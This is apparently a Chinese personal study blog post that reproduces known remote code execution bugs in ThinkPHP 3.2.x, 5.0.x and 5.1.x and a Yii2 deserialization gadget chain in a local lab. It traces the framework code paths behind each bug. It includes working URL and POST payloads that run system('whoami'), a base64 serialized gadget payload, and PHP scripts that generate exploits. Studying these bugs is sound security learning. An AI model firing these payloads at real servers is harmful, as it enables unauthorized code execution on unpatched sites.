因为近期状态不是很好,有时候甚至不知道该去做什么(明明还有那么多东西没有学),打算复现java相关的漏洞的时候总是因为各种原因没办法一下子完成,每次都需要重新看一遍(心累了)。
最后还是决定一下仔细复现一下ThinkPHP漏洞,都是以前做题或者比赛的时候遇到的,就当复习了,之后应该会时不时更新一下,算是个人学习笔记,如果有任何错误的地方欢迎师傅们指正
thinkphp3.2.xRCE、thinkphp5.0.xRCE、thinkphp5.1.xRCE、yii2反序列化……
ThinkPHP3.2.xRCE 环境 thinkphp3.2.3
win10
phpstudy8 php5.6
漏洞复现 利用
1.直接上payload
1 http://127.0.0.1:2007/?m=Home&c=Index&a=index&test=--><?phpinfo();?>
可以在本地发现日志文件将代码记录了,不过如果直接传的话会出现乱码,最好用bp抓包修改一下
1 http://192.168.49.1:2007/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/22_05_13.log
可以发现代码成功执行啦
利用报错
1 http://127.0.0.1:2007/?c=<?php phpinfo();?>
分析 首先传入的m|c|a
为系统环境变量,通过修改变量的值使得进入特定的控制器,而在后面我们传进去value也会传进IndexController
的index方法,并在assign之后可以在show方法的时候实现文件包含
IndexController
1 2 3 4 5 6 7 8 9 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ($value ='' ) { $this ->assign($value ); $this ->show('……' ); } }
执行assign
,直接跟进,在这里会调用到View
类的assign方法
1 2 3 4 protected function assign ($name ,$value ='' ) { $this ->view->assign($name ,$value ); return $this ; }
View::assign
,将我们传进去的值给$this->tVar
1 2 3 4 5 6 7 public function assign ($name ,$value ='' ) { if (is_array($name )) { $this ->tVar = array_merge($this ->tVar,$name ); }else { $this ->tVar[$name ] = $value ; } }
Controller:show
1 2 3 protected function show ($content ,$charset ='' ,$contentType ='' ,$prefix ='' ) { $this ->view->display('' ,$charset ,$contentType ,$content ,$prefix ); }
View:display
,会在fetch方法中将$this->tVar
进行解析
1 2 3 4 5 6 7 8 9 10 11 12 public function display ($templateFile ='' ,$charset ='' ,$contentType ='' ,$content ='' ,$prefix ='' ) { G('viewStartTime' ); Hook::listen('view_begin' ,$templateFile ); $content = $this ->fetch($templateFile ,$content ,$prefix ); $this ->render($content ,$charset ,$contentType ); Hook::listen('view_end' ); }
Hook:listen
,由于我们打开了debug模式,使得这些值都会进行记录,就比如trace就会实现日志的格式并写入相应的日志文件中
而listen里面最为重要的就是exec
,这里会将整个$param
都会传进去,即包括了我们自己写入的value
Hook:exec
,会去调用某个继承Behavior
抽象类的run
方法
1 2 3 4 5 6 7 8 static public function exec ($name , $tag ,&$params =NULL ) { if ('Behavior' == substr($name ,-8 ) ){ $tag = 'run' ; } $addon = new $name (); return $addon ->$tag ($params ); }
Behavior\ParseTemplateBehavior:run
,由于缓存的文件都为空,并且是thinkphp的模板,所有直接进去第一个else,直接调用到了Think\Template:fetch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function run (&$_data ) { $engine = strtolower(C('TMPL_ENGINE_TYPE' )); $_content = empty ($_data ['content' ])?$_data ['file' ]:$_data ['content' ]; $_data ['prefix' ] = !empty ($_data ['prefix' ])?$_data ['prefix' ]:C('TMPL_CACHE_PREFIX' ); if ('think' ==$engine ){ if ((!empty ($_data ['content' ]) && $this ->checkContentCache($_data ['content' ],$_data ['prefix' ])) || $this ->checkCache($_data ['file' ],$_data ['prefix' ])) { Storage::load(C('CACHE_PATH' ).$_data ['prefix' ].md5($_content ).C('TMPL_CACHFILE_SUFFIX' ),$_data ['var' ]); }else { $tpl = Think::instance('Think\\Template' ); $tpl ->fetch($_content ,$_data ['var' ],$_data ['prefix' ]); } }else { …… } }
1 2 3 4 5 public function fetch ($templateFile ,$templateVar ,$prefix ='' ) { $this ->tVar = $templateVar ; $templateCacheFile = $this ->loadTemplate($templateFile ,$prefix ); Storage::load($templateCacheFile ,$this ->tVar,null ,'tpl' ); }
对数组进行变量覆盖使得我们传进去的,value[_filename]
的值变为变量覆盖之后$_filename
的值,实现日志文件包含
1 2 3 4 5 6 7 public function load ($_filename ,$vars =null ) { if (!is_null($vars )){ extract($vars , EXTR_OVERWRITE); } include $_filename ; }
ThinkPHP5.0.xRCE 环境 thinkphp5.0.10
win10
phpstudy8 php5.6
漏洞复现 利用
poc:
get:
1 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
post:
1 2 3 4 ?s=captcha post: _method=__construct&filter[]=system&method=get&get[]=whoami _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
分析
首先既然是RCE,那就先要找到我们最后想要利用的执行代码的方法,可以全局搜索一下一些常用的方法,比如eval
|call_user_func
之类的
全局搜索一下发现call_user_func
很多,但是实际上可以用的很少,不过可以在Request::filterValue
也发现了该方法,那么可以先来分析一下这里的call_user_func
怎么样才能正确利用,这里回调函数为$filter
,变量为$value
,那么重点就是看两个参数是怎么传进去的,那就去看一下会在哪里调用到filterValue
但是作为一只菜鸡来说,还不会自己挖洞那就只能直接跟着payload的思路走了
贴上调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Request.php:1060, think\Request->filterValue() Request.php:1007, array_walk_recursive() Request.php:1007, think\Request->input() Request.php:642, think\Request->param() App.php:304, think\App::exec() Request.php:501, think\Request->method() Request.php:524, think\Request->isGet() Route.php:1507, think\Route::parseRule() Route.php:1189, think\Route::checkRule() Route.php:950, think\Route::checkRoute() Route.php:873, think\Route::check() App.php:562, think\App::routeCheck() App.php:123, think\App::run() start.php:18, require() index.php:17, {main}()
App::run
,整个应用从这开始,通过调用可用方法检测路由以及获取回调函数等,并在最后返回响应值
此时的$request
为Request
,config
被初始化为配置信息
App::routeCheck
进行路由检测,而$path
会调用到Request::pathinfo
,其中config[‘var_pathinfo’]所对应的值为s
所以如果在url中利用get方法传s=?
其值即为路由
而$depr
的值为/
之后会通过Route::check
调用到了Request::method
Request::method
如图(在后续更新中会对$this->method
的值进行白名单过滤
根据代码我们可以知道我们可以通过post上传_method
,再在下面执行$this->$_method($_POST)
由于对整个thinkphp框架还是不够了解,所以这里我就直接把在Config:get
中进行vard_ump得知返回值为_method
,那么我们就可以通过post上传_method
来控制执行的方法了,而payload中传进去的为__construct
Request::__construct
,其中options
为我们POST
数组,会用property_exists检测此类中是否存在该属性,如果存在则直接赋值导致我们可以通过post传入同名属性从而控制所有属性的值,而input
会将post字符串保存下来
最后method
方法将属性method
返回,而method
属性已经被我们修改为get
之后就是继续检测s传进的路由并返回URL调度,如下
1 2 3 4 5 6 7 8 9 10 D:\phpstudy_pro\WWW\cms\thinkphp\library\think\App.php:567: array (size=3) 'type' => string 'method' (length=6) 'method' => array (size=2) 0 => string '\think\captcha\CaptchaController' (length=32) 1 => string 'index' (length=5) 'var' => array (size=0) empty
在之后的exec
根据URL调度中type => 'method'
从而执行回调方法,调用到param
方法,再调用到input
方法将post中所请求的信息等合并通过$data
传了进去,从而在调用到Request::filterValue
的时候$data
包含了我们所传入的信息.
最终到达Request::filterValue
,此时
1 2 3 4 5 6 7 8 9 10 11 D:\phpstudy_pro\WWW\cms\thinkphp\library\think\Request.php:1004: array (size=5) '_method' => string '__construct' (length=11) 'filter' => array (size=1) 0 => string 'system' (length=6) 'method' => string 'get' (length=3) 'ameuu' => array (size=1) 0 => string 'whoami' (length=6) 'id' => null
通过call_user_func
执行回调函数而执行数组的五个参数,从而最终实现
1 2 3 4 5 6 App.php:200, think\App::invokeMethod() App.php:412, think\App::module() App.php:299, think\App::exec() App.php:125, think\App::run() start.php:18, require() index.php:17, {main}()
get最后利用反射的方法进行代码执行
例子:
1 2 3 4 5 6 7 8 9 10 11 12 <?php class HelloWorld { public function sayHelloTo ($name ) { return 'Hello ' . $name ; } } $reflectionMethod = new ReflectionMethod('HelloWorld' , 'sayHelloTo' );echo $reflectionMethod ->invokeArgs(new HelloWorld(), array ('Mike' ));?>
前面到exec函数调用都一样,但是由于s的值变成了index/\think\app/invokefunction
,所以在检测路由的时候所返回的结果发生变化
1 2 3 4 5 6 7 8 D:\phpstudy_pro\WWW\cms\thinkphp\library\think\App.php:108: array (size=2) 'type' => string 'module' (length=6) 'module' => array (size=3) 0 => string 'index' (length=5) 1 => string '\think\app' (length=10) 2 => string 'invokefunction' (length=14)
这也使得在exec中我们所执行的方法为
再调用App::invokeMethod
执行{think\app,invokefunction}
方法,而该方法的参数通过App::bindParams
进行获取
获取到我们所传进去的
1 2 3 function=call_user_func var[0]=system var[1][]=whoami
之后就是利用反射执行call_user_func
ThinkPHP5.1.xRCE 环境 thinkphp5.1.x
win10
phpstudy8 php5.6
漏洞复现 利用 1 2 3 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami or ?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
分析 调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Container.php:320, think\Container->invokeFunction() Container.php:372, ReflectionMethod->invokeArgs() Container.php:372, think\Container->invokeReflectMethod() Module.php:129, think\route\dispatch\Module->think\route\dispatch\{closure}() Middleware.php:176, call_user_func_array:{D:\phpstudy_pro\WWW\cms\tp5\tp5\thinkphp\library\think\Middleware.php:176}() Middleware.php:176, think\Middleware->think\{closure}() Middleware.php:121, call_user_func:{D:\phpstudy_pro\WWW\cms\tp5\tp5\thinkphp\library\think\Middleware.php:121}() Middleware.php:121, think\Middleware->dispatch() Module.php:134, think\route\dispatch\Module->exec() Dispatch.php:167, think\route\Dispatch->run() App.php:432, think\App->think\{closure}() Middleware.php:176, call_user_func_array:{D:\phpstudy_pro\WWW\cms\tp5\tp5\thinkphp\library\think\Middleware.php:176}() Middleware.php:176, think\Middleware->think\{closure}() Middleware.php:121, call_user_func:{D:\phpstudy_pro\WWW\cms\tp5\tp5\thinkphp\library\think\Middleware.php:121}() Middleware.php:121, think\Middleware->dispatch() App.php:435, think\App->run() index.php:21, {main}()
最终利用点:
1 2 3 4 5 6 7 8 9 10 11 12 public function invokeFunction ($function , $vars = [] ) { try { $reflect = new ReflectionFunction($function ); $args = $this ->bindParams($reflect , $vars ); return call_user_func_array($function , $args ); } catch (ReflectionException $e ) { throw new Exception ('function not exists: ' . $function . '()' ); } }
和前面一样,依旧从App::run
开始,会先进行路由检测,而通过thinkphp传参,我们利用get传s
(相当于PATHINFO),将我们要利用的控制器传进去
在App::checkRoute
中会调用到Route::check
,进行路由检测,将url(s的值)将/
替换成|
然后返回一个Url
(继承Dispatch)类,最后返回至App::run
调用到Url::init
,最终$dispatch
为Module
类
之后执行路由调度,调用Module::exec
获得data
在Module::exec
中会利用反射的方法获取当前需要操作的方法,并通过Request
类获取url中我们传入的变量,因为这些都是一开始保存在了Request类中
最后通过反射的方法,调用到了Container::invokefunction
,实现RCE
修复 通过和5.1.41
比较就可以发现dispatcha\Url::parseUrl
Yii2 反序列化 https://github.com/yiisoft/yii2/releases/tag/2.0.37
环境搭建详见reference
漏洞复现 利用 payload:
1 ?r=exp/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
分析 入口是我们自己写的Controller
照例全局搜索一下可以利用点,因为入口就写了一个反序列化,所以就先去找__destruct
或者__construct
1 2 3 4 5 6 7 8 9 1. Swift_ByteStream_TemporaryFileByteStream::__destruct,Swift_KeyCache_DiskKeyCache::__destruct可以触发__toString 2.BatchQueryResult::__destruct可以触发__call或者调用到某一个类的close方法 3.XmlBuilder::__toString触发__call 4.Covers::__toString 触发 __call 或者 render 5.Nullable::__toString 触发__call 6.ExactValueToken::__toString 触发__call 或者 stringify 7.LazyString::__toString 触发 __invoke 8. ……
当然很多时候我们也可以先找可能可以利用的点再去,就比如在看的时候发现ActionSequence::run
中就存在我们可能可以利用的call_user_func_array
1 2 3 4 5 6 7 8 9 10 11 12 13 public function run ($context ) { foreach ($this ->actions as $step ) { codecept_debug("- $step " ); try { call_user_func_array([$context , $step ->getAction()], $step ->getArguments()); } catch (\Exception $e ) { $class = get_class($e ); throw new $class ($e ->getMessage() . "\nat $step " ); } } }
不过现在我们就先从头到尾吧
就比如一开始的Swift_ByteStream_TemporaryFileByteStream::__destruct
可以触发__toString
,先来找这一种的链子吧
1 2 3 4 5 Swift_ByteStream_TemporaryFileByteStream::__destruct XmlBuilder::__toString Generator::__call Generator::format Generator::getFormatter
首先我们看到Swift_KeyCache_DiskKeyCache::__destruct
,会调用到clearAll
,并在该方法里可以触发到XmlBuilder::__toString
1 2 3 4 5 6 public function __destruct ( ) { foreach ($this ->keys as $nsKey => $null ) { $this ->clearAll($nsKey ); } }
XmlBuilder::__toString
调用到saveXML
,那么可能可以触发__call
,或者是可以利用的saveXML
,咱们可以先去找__call
1 2 3 4 public function __toString ( ) { return $this ->__dom__->saveXML(); }
会发现一眼看过去比较好利用的也就只有Generator::__call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public function __call ($method , $attributes ) { return $this ->format($method , $attributes ); } public function format ($formatter , $arguments = array ( ) ) { return call_user_func_array($this ->getFormatter($formatter ), $arguments ); } public function getFormatter ($formatter ) { if (isset ($this ->formatters[$formatter ])) { return $this ->formatters[$formatter ]; } foreach ($this ->providers as $provider ) { if (method_exists($provider , $formatter )) { $this ->formatters[$formatter ] = array ($provider , $formatter ); return $this ->formatters[$formatter ]; } } throw new \InvalidArgumentException (sprintf('Unknown formatter "%s"' , $formatter )); }
poc:
1 data=TzozOToiRGlzS2V5Q2FjaGVcU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoxOntzOjQ1OiIARGlzS2V5Q2FjaGVcU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086Mjc6IkNvZGVjZXB0aW9uXFV0aWxcWG1sQnVpbGRlciI6MTp7czoxMDoiACoAX19kb21fXyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEwOiJmb3JtYXR0ZXJzIjthOjE6e3M6Nzoic2F2ZVhNTCI7czo5OiJwaHBpbmZvKCkiO319fX0=
‘不行,换一个
1 2 3 4 BatchQueryResult::__destruct Generator::__call Generator::format Generator::getFormatter
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php namespace yii \db ;use Faker \Generator ;class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator (); } } namespace Faker ;class Generator { public function __construct ( ) { $this ->formatters['close' ] = 'phpinfo' ; } } namespace ameuu ;use yii \db \BatchQueryResult ;var_dump(base64_encode(serialize(new BatchQueryResult())));
但是我们又发现一个重要问题,这里只能执行类似于phpinfo
这样的函数,我们没有办法传入参数,也做不到无参数RCE,那么只能利用现在已有的链子,试着找到可以利用的已经定义好的不用参数的方法
找到CreateAction::run
,直接可以利用
最终poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php namespace yii \db ;use Faker \Generator ;class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator (); } } namespace yii \rest ;class CreateAction { private $checkAccess ; private $id ; public function __construct ( ) { $this ->checkAccess = 'system' ; $this ->id = 'whoami' ; } } namespace Faker ;use yii \rest \CreateAction ;class Generator { public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction(),'run' ]; } } namespace ameuu ;use yii \db \BatchQueryResult ;var_dump(base64_encode(serialize(new BatchQueryResult())));
小结 这里什么都没有捏~